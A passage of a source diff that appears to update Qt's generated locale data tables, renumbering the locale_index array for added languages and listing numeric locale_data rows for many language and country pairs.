instead edit $QTDIR/util/locale_database/locale.xml and run - qlocalexml2cpp.py. + Do not change it, instead edit CLDR data and regenerate this file using + cldr2qlocalexml.py and qlocalexml2cpp.py. */ @@ -98,505 +98,644 @@ static const quint16 locale_index[] = { 0, // Aymara 29, // Azerbaijani 0, // Bashkir - 30, // Basque - 31, // Bengali - 33, // Bhutani + 31, // Basque + 32, // Bengali + 34, // Bhutani 0, // Bihari 0, // Bislama - 0, // Breton - 34, // Bulgarian - 35, // Burmese - 36, // Byelorussian - 37, // Cambodian - 38, // Catalan - 39, // Chinese + 35, // Breton + 36, // Bulgarian + 37, // Burmese + 38, // Byelorussian + 39, // Cambodian + 40, // Catalan + 41, // Chinese 0, // Corsican - 44, // Croatian - 45, // Czech - 46, // Danish - 47, // Dutch - 49, // English + 46, // Croatian + 47, // Czech + 48, // Danish + 49, // Dutch + 51, // English 0, // Esperanto - 75, // Estonian - 76, // Faroese + 78, // Estonian + 79, // Faroese 0, // Fiji - 77, // Finnish - 78, // French + 80, // Finnish + 81, // French 0, // Frisian 0, // Gaelic - 85, // Galician - 86, // Georgian - 87, // German - 93, // Greek - 95, // Greenlandic + 100, // Galician + 101, // Georgian + 102, // German + 108, // Greek + 110, // Greenlandic 0, // Guarani - 96, // Gujarati - 97, // Hausa - 101, // Hebrew - 102, // Hindi - 103, // Hungarian - 104, // Icelandic - 105, // Indonesian + 111, // Gujarati + 112, // Hausa + 116, // Hebrew + 117, // Hindi + 118, // Hungarian + 119, // Icelandic + 120, // Indonesian 0, // Interlingua 0, // Interlingue 0, // Inuktitut 0, // Inupiak - 106, // Irish - 107, // Italian - 109, // Japanese + 121, // Irish + 122, // Italian + 124, // Japanese 0, // Javanese - 110, // Kannada + 125, // Kannada 0, // Kashmiri - 111, // Kazakh - 112, // Kinyarwanda - 113, // Kirghiz - 114, // Korean - 115, // Kurdish + 126, // Kazakh + 127, // Kinyarwanda + 128, // Kirghiz + 129, // Korean + 130, // Kurdish 0, // Kurundi - 116, // Laothian + 134, // Laothian 0, // Latin - 117, // Latvian - 118, // Lingala - 120, // Lithuanian - 121, // Macedonian - 0, // Malagasy - 122, // Malay - 124, // Malayalam - 125, // Maltese - 0, // Maori - 126, // Marathi + 135, // Latvian + 136, // Lingala + 138, // Lithuanian + 139, // Macedonian + 140, // Malagasy + 141, // Malay + 143, // Malayalam + 144, // Maltese + 145, // Maori + 146, // Marathi 0, // Moldavian - 127, // Mongolian + 147, // Mongolian 0, // Nauru - 129, // Nepali - 131, // Norwegian - 0, // Occitan - 132, // Oriya - 133, // Pashto - 134, // Persian - 136, // Polish - 137, // Portuguese - 139, // Punjabi + 149, // Nepali + 151, // Norwegian + 152, // Occitan + 153, // Oriya + 154, // Pashto + 155, // Persian + 157, // Polish + 158, // Portuguese + 162, // Punjabi 0, // Quechua - 0, // RhaetoRomance - 141, // Romanian - 143, // Russian + 164, // RhaetoRomance + 165, // Romanian + 167, // Russian 0, // Samoan - 0, // Sangho - 145, // Sanskrit - 146, // Serbian - 149, // SerboCroatian - 152, // Sesotho - 154, // Setswana - 0, // Shona + 170, // Sangho + 171, // Sanskrit + 172, // Serbian + 177, // SerboCroatian + 180, // Sesotho + 182, // Setswana + 183, // Shona 0, // Sindhi - 155, // Singhalese - 156, // Siswati - 158, // Slovak - 159, // Slovenian - 160, // Somali - 164, // Spanish + 184, // Singhalese + 185, // Siswati + 187, // Slovak + 188, // Slovenian + 189, // Somali + 193, // Spanish 0, // Sundanese - 184, // Swahili - 186, // Swedish + 214, // Swahili + 216, // Swedish 0, // Tagalog - 188, // Tajik - 189, // Tamil - 190, // Tatar - 191, // Telugu - 192, // Thai - 0, // Tibetan - 193, // Tigrinya - 195, // Tonga - 196, // Tsonga - 197, // Turkish + 218, // Tajik + 219, // Tamil + 221, // Tatar + 222, // Telugu + 223, // Thai + 224, // Tibetan + 226, // Tigrinya + 228, // Tonga + 229, // Tsonga + 230, // Turkish 0, // Turkmen 0, // Twi - 198, // Uigur - 199, // Ukrainian - 200, // Urdu - 202, // Uzbek - 204, // Vietnamese + 231, // Uigur + 232, // Ukrainian + 233, // Urdu + 235, // Uzbek + 237, // Vietnamese 0, // Volapuk - 205, // Welsh - 206, // Wolof - 207, // Xhosa + 238, // Welsh + 239, // Wolof + 240, // Xhosa 0, // Yiddish - 208, // Yoruba + 241, // Yoruba 0, // Zhuang - 209, // Zulu - 210, // Nynorsk - 211, // Bosnian - 212, // Divehi - 213, // Manx - 214, // Cornish - 215, // Akan - 216, // Konkani - 217, // Ga - 218, // Igbo - 219, // Kamba - 220, // Syriac - 221, // Blin - 222, // Geez - 224, // Koro - 225, // Sidamo - 226, // Atsam - 227, // Tigre - 228, // Jju - 229, // Friulian - 230, // Venda - 231, // Ewe - 0, // Walamo - 233, // Hawaiian - 234, // Tyap - 235, // Chewa + 242, // Zulu + 243, // Nynorsk + 244, // Bosnian + 245, // Divehi + 246, // Manx + 247, // Cornish + 248, // Akan + 249, // Konkani + 250, // Ga + 251, // Igbo + 252, // Kamba + 253, // Syriac + 254, // Blin + 255, // Geez + 257, // Koro + 258, // Sidamo + 259, // Atsam + 260, // Tigre + 261, // Jju + 262, // Friulian + 263, // Venda + 264, // Ewe + 266, // Walamo + 267, // Hawaiian + 268, // Tyap + 269, // Chewa + 270, // Filipino + 271, // Swiss German + 272, // Sichuan Yi + 273, // Kpelle + 275, // Low German + 276, // South Ndebele + 277, // Northern Sotho + 278, // Northern Sami + 280, // Taroko + 281, // Gusii + 282, // Taita + 283, // Fulah + 284, // Kikuyu + 285, // Samburu + 286, // Sena + 287, // North Ndebele + 288, // Rombo + 289, // Tachelhit + 290, // Kabyle + 291, // Nyankole + 292, // Bena + 293, // Vunjo + 294, // Bambara + 295, // Embu + 296, // Cherokee + 297, // Morisyen + 298, // Makonde + 299, // Langi + 300, // Ganda + 301, // Bemba + 302, // Kabuverdianu + 303, // Meru + 304, // Kalenjin + 305, // Nama + 306, // Machame + 307, // Colognian + 308, // Masai + 310, // Soga + 311, // Luyia + 312, // Asu + 313, // Teso + 315, // Saho + 316, // Koyra Chiini + 317, // Rwa + 318, // Luo + 319, // Chiga + 320, // Central Morocco Tamazight + 321, // Koyraboro Senni + 322, // Shambala 0 // trailing 0 }; static const QLocalePrivate locale_data[] = { // lang terr dec group list prcnt zero minus plus exp sDtFmt lDtFmt sTmFmt lTmFmt ssMonth slMonth sMonth lMonth sDays lDays am,len pm,len { 1, 0, 46, 44, 59, 37, 48, 45, 43, 101, 0,10 , 10,17 , 0,8 , 8,10 , 0,48 , 48,86 , 134,24 , 0,48 , 48,86 , 134,27 , 0,28 , 28,57 , 85,14 , 0,28 , 28,57 , 99,14 , 0,2 , 0,2 }, // C/AnyCountry - { 3, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 161,48 , 209,111 , 320,12 , 113,7 , 113,7 , 85,14 , 120,28 , 148,55 , 113,7 , 2,0 , 2,0 }, // Afan/Ethiopia - { 3, 111, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 161,48 , 209,111 , 320,12 , 113,7 , 113,7 , 85,14 , 120,28 , 148,55 , 113,7 , 2,0 , 2,0 }, // Afan/Kenya - { 4, 59, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 170,24 , 332,48 , 380,129 , 320,12 , 113,7 , 113,7 , 203,14 , 217,28 , 245,52 , 113,7 , 2,0 , 2,0 }, // Afar/Djibouti - { 4, 67, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 170,24 , 332,48 , 509,118 , 320,12 , 113,7 , 113,7 , 203,14 , 217,28 , 245,52 , 113,7 , 2,0 , 2,0 }, // Afar/Eritrea - { 4, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 170,24 , 332,48 , 509,118 , 320,12 , 113,7 , 113,7 , 203,14 , 217,28 , 245,52 , 113,7 , 2,0 , 2,0 }, // Afar/Ethiopia - { 5, 195, 44, 160, 59, 37, 48, 45, 43, 101, 72,10 , 82,17 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 627,48 , 675,92 , 320,12 , 113,7 , 113,7 , 297,14 , 311,21 , 332,58 , 113,7 , 2,3 , 2,3 }, // Afrikaans/SouthAfrica - { 5, 148, 44, 160, 59, 37, 48, 45, 43, 101, 99,10 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 627,48 , 675,92 , 320,12 , 113,7 , 113,7 , 297,14 , 311,21 , 332,58 , 113,7 , 2,3 , 2,3 }, // Afrikaans/Namibia - { 6, 2, 44, 46, 59, 37, 48, 45, 43, 101, 125,8 , 133,18 , 50,7 , 57,11 , 158,12 , 158,12 , 221,24 , 767,48 , 815,78 , 320,12 , 113,7 , 113,7 , 390,14 , 404,28 , 432,58 , 113,7 , 5,2 , 5,2 }, // Albanian/Albania - { 7, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 151,23 , 18,7 , 68,12 , 158,12 , 158,12 , 245,24 , 893,46 , 939,62 , 320,12 , 113,7 , 113,7 , 490,14 , 504,27 , 531,28 , 113,7 , 2,0 , 2,0 }, // Amharic/Ethiopia - { 8, 186, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 611,52 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/SaudiArabia - { 8, 3, 1643, 1644, 1563, 1642, 48, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Algeria - { 8, 17, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Bahrain - { 8, 64, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Egypt - { 8, 103, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Iraq - { 8, 109, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1076,92 , 1076,92 , 320,12 , 559,38 , 113,7 , 597,14 , 611,52 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Jordan - { 8, 115, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Kuwait - { 8, 119, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1168,92 , 1168,92 , 320,12 , 559,38 , 113,7 , 597,14 , 611,52 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Lebanon - { 8, 122, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/LibyanArabJamahiriya - { 8, 145, 1643, 1644, 1563, 1642, 48, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Morocco - { 8, 162, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Oman - { 8, 175, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 611,52 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Qatar - { 8, 201, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Sudan - { 8, 207, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1168,92 , 1168,92 , 320,12 , 559,38 , 113,7 , 597,14 , 611,52 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/SyrianArabRepublic - { 8, 216, 1643, 1644, 1563, 1642, 48, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 611,52 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Tunisia - { 8, 223, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 597,14 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/UnitedArabEmirates - { 8, 237, 1643, 1644, 1563, 1642, 1632, 45, 43, 101, 174,10 , 184,18 , 18,7 , 80,11 , 158,12 , 158,12 , 269,24 , 1001,75 , 1001,75 , 320,12 , 559,38 , 113,7 , 597,14 , 611,52 , 611,52 , 113,7 , 7,1 , 7,1 }, // Arabic/Yemen - { 9, 11, 44, 46, 59, 37, 48, 45, 43, 101, 202,8 , 35,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 1260,48 , 1308,96 , 320,12 , 113,7 , 113,7 , 297,14 , 663,28 , 691,62 , 113,7 , 8,3 , 8,3 }, // Armenian/Armenia - { 10, 100, 46, 44, 59, 37, 48, 45, 43, 101, 210,8 , 218,18 , 91,8 , 99,11 , 158,12 , 158,12 , 194,27 , 1404,62 , 1466,90 , 320,12 , 113,7 , 113,7 , 297,14 , 753,37 , 790,58 , 113,7 , 11,6 , 11,2 }, // Assamese/India - { 12, 15, 44, 46, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 1556,48 , 1604,77 , 320,12 , 113,7 , 113,7 , 99,14 , 848,26 , 874,67 , 113,7 , 2,0 , 2,0 }, // Azerbaijani/Azerbaijan - { 14, 197, 44, 46, 59, 37, 48, 45, 43, 101, 125,8 , 262,31 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 1681,48 , 1729,93 , 320,12 , 113,7 , 113,7 , 297,14 , 941,21 , 962,68 , 113,7 , 2,0 , 2,0 }, // Basque/Spain - { 15, 18, 46, 44, 59, 37, 2534, 45, 43, 101, 293,6 , 218,18 , 18,7 , 25,11 , 158,12 , 158,12 , 293,33 , 1822,90 , 1822,90 , 320,12 , 113,7 , 113,7 , 1030,18 , 1048,37 , 1085,58 , 113,7 , 17,9 , 13,7 }, // Bengali/Bangladesh - { 15, 100, 46, 44, 59, 37, 2534, 45, 43, 101, 293,6 , 218,18 , 18,7 , 25,11 , 158,12 , 158,12 , 293,33 , 1822,90 , 1822,90 , 320,12 , 113,7 , 113,7 , 1030,18 , 1048,37 , 1085,58 , 113,7 , 17,9 , 13,7 }, // Bengali/India - { 16, 25, 46, 44, 59, 37, 3872, 45, 43, 101, 299,28 , 327,29 , 110,22 , 132,34 , 158,12 , 158,12 , 194,27 , 1912,75 , 1987,205 , 320,12 , 113,7 , 113,7 , 297,14 , 1143,34 , 1177,79 , 113,7 , 2,0 , 2,0 }, // Bhutani/Bhutan - { 20, 33, 44, 160, 59, 37, 48, 45, 43, 101, 356,8 , 364,18 , 36,5 , 41,9 , 158,12 , 158,12 , 326,24 , 2192,59 , 2251,82 , 320,12 , 113,7 , 113,7 , 1256,14 , 1270,21 , 1291,55 , 113,7 , 26,7 , 20,7 }, // Bulgarian/Bulgaria - { 21, 147, 46, 44, 4170, 37, 4160, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 350,24 , 2333,43 , 2376,88 , 320,12 , 113,7 , 113,7 , 1346,14 , 1360,25 , 1385,54 , 113,7 , 2,0 , 2,0 }, // Burmese/Myanmar - { 22, 20, 44, 160, 59, 37, 48, 45, 43, 101, 382,6 , 10,17 , 166,5 , 171,9 , 374,15 , 389,19 , 408,24 , 2464,48 , 2512,95 , 2607,13 , 113,7 , 113,7 , 1439,14 , 1453,21 , 1474,56 , 113,7 , 33,10 , 27,13 }, // Byelorussian/Belarus - { 23, 36, 44, 46, 59, 37, 48, 45, 43, 101, 388,8 , 396,31 , 180,4 , 184,25 , 158,12 , 158,12 , 194,27 , 2620,27 , 2647,71 , 320,12 , 113,7 , 113,7 , 297,14 , 1530,19 , 1549,76 , 113,7 , 43,5 , 40,5 }, // Cambodian/Cambodia - { 24, 197, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 180,4 , 209,8 , 158,12 , 158,12 , 432,24 , 2718,60 , 2778,82 , 320,12 , 1625,21 , 113,7 , 1646,14 , 1660,28 , 1688,60 , 113,7 , 2,0 , 2,0 }, // Catalan/Spain - { 25, 44, 46, 44, 59, 37, 48, 45, 43, 101, 453,6 , 459,13 , 217,6 , 223,11 , 456,38 , 456,38 , 494,39 , 2860,39 , 2860,39 , 320,12 , 113,7 , 113,7 , 1748,14 , 1762,21 , 1783,28 , 113,7 , 48,2 , 45,2 }, // Chinese/China - { 25, 97, 46, 65292, 65307, 37, 48, 45, 43, 101, 472,7 , 459,13 , 217,6 , 223,11 , 456,38 , 456,38 , 494,39 , 2860,39 , 2860,39 , 320,12 , 113,7 , 113,7 , 1748,14 , 1762,21 , 1783,28 , 113,7 , 48,2 , 45,2 }, // Chinese/HongKong - { 25, 126, 46, 44, 59, 37, 48, 45, 43, 101, 472,7 , 479,15 , 217,6 , 223,11 , 456,38 , 456,38 , 494,39 , 2860,39 , 2860,39 , 320,12 , 113,7 , 113,7 , 1748,14 , 1762,21 , 1783,28 , 113,7 , 48,2 , 45,2 }, // Chinese/Macau - { 25, 190, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 459,13 , 234,7 , 223,11 , 456,38 , 456,38 , 494,39 , 2860,39 , 2860,39 , 320,12 , 113,7 , 113,7 , 1748,14 , 1762,21 , 1783,28 , 113,7 , 48,2 , 45,2 }, // Chinese/Singapore - { 25, 208, 46, 44, 59, 37, 48, 45, 43, 101, 453,6 , 459,13 , 217,6 , 223,11 , 456,38 , 456,38 , 494,39 , 2860,39 , 2860,39 , 320,12 , 113,7 , 113,7 , 1748,14 , 1762,21 , 1783,28 , 113,7 , 48,2 , 45,2 }, // Chinese/Taiwan - { 27, 54, 44, 46, 59, 37, 48, 45, 43, 101, 494,11 , 505,19 , 36,5 , 41,9 , 158,12 , 533,94 , 627,24 , 2899,48 , 2947,98 , 320,12 , 113,7 , 113,7 , 1811,14 , 1825,28 , 1853,58 , 113,7 , 0,2 , 0,2 }, // Croatian/Croatia - { 28, 57, 44, 160, 59, 37, 48, 45, 43, 101, 382,6 , 524,18 , 180,4 , 41,9 , 651,39 , 690,82 , 772,24 , 134,27 , 3045,84 , 320,12 , 113,7 , 113,7 , 1911,14 , 1925,21 , 1946,49 , 113,7 , 50,4 , 47,4 }, // Czech/CzechRepublic - { 29, 58, 44, 46, 44, 37, 48, 45, 43, 101, 27,8 , 542,23 , 166,5 , 171,9 , 158,12 , 158,12 , 134,24 , 3129,48 , 3177,84 , 320,12 , 113,7 , 113,7 , 1995,14 , 2009,28 , 2037,51 , 113,7 , 54,4 , 51,4 }, // Danish/Denmark - { 30, 151, 44, 46, 59, 37, 48, 45, 43, 101, 565,8 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 3261,48 , 3309,88 , 320,12 , 113,7 , 113,7 , 2088,14 , 2102,21 , 2123,59 , 113,7 , 2,0 , 2,0 }, // Dutch/Netherlands - { 30, 21, 44, 46, 59, 37, 48, 45, 43, 101, 573,7 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 3261,48 , 3309,88 , 320,12 , 113,7 , 113,7 , 2088,14 , 2102,21 , 2123,59 , 113,7 , 2,0 , 2,0 }, // Dutch/Belgium - { 31, 225, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/UnitedStates - { 31, 4, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/AmericanSamoa - { 31, 13, 46, 44, 59, 37, 48, 45, 43, 101, 573,7 , 10,17 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Australia - { 31, 21, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 36,5 , 241,23 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Belgium - { 31, 22, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 586,12 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Belize - { 31, 28, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 82,17 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Botswana - { 31, 38, 46, 44, 59, 37, 48, 45, 43, 101, 125,8 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Canada - { 31, 89, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Guam - { 31, 97, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 10,17 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/HongKong - { 31, 100, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/India - { 31, 104, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 58,4 , 55,4 }, // English/Ireland - { 31, 107, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Jamaica - { 31, 133, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 10,17 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Malta - { 31, 134, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/MarshallIslands - { 31, 148, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Namibia - { 31, 154, 46, 44, 59, 37, 48, 45, 43, 101, 573,7 , 10,17 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/NewZealand - { 31, 160, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/NorthernMarianaIslands - { 31, 163, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Pakistan - { 31, 170, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Philippines - { 31, 190, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 133,18 , 264,8 , 272,12 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Singapore - { 31, 195, 44, 160, 59, 37, 48, 45, 43, 101, 72,10 , 82,17 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/SouthAfrica - { 31, 215, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/TrinidadAndTobago - { 31, 224, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 10,17 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/UnitedKingdom - { 31, 226, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/UnitedStatesMinorOutlyingIslands - { 31, 234, 46, 44, 59, 37, 48, 45, 43, 101, 580,6 , 35,18 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/USVirginIslands - { 31, 240, 46, 44, 59, 37, 48, 45, 43, 101, 388,8 , 82,17 , 18,7 , 25,11 , 158,12 , 158,12 , 134,24 , 0,48 , 48,86 , 320,12 , 113,7 , 113,7 , 85,14 , 0,28 , 28,57 , 113,7 , 0,2 , 0,2 }, // English/Zimbabwe - { 33, 68, 44, 160, 59, 37, 48, 45, 43, 101, 356,8 , 608,18 , 180,4 , 209,8 , 158,12 , 158,12 , 194,27 , 3397,59 , 3456,91 , 320,12 , 113,7 , 113,7 , 297,14 , 2182,14 , 2196,63 , 113,7 , 2,0 , 2,0 }, // Estonian/Estonia - { 34, 71, 44, 46, 59, 37, 48, 8722, 43, 101, 565,8 , 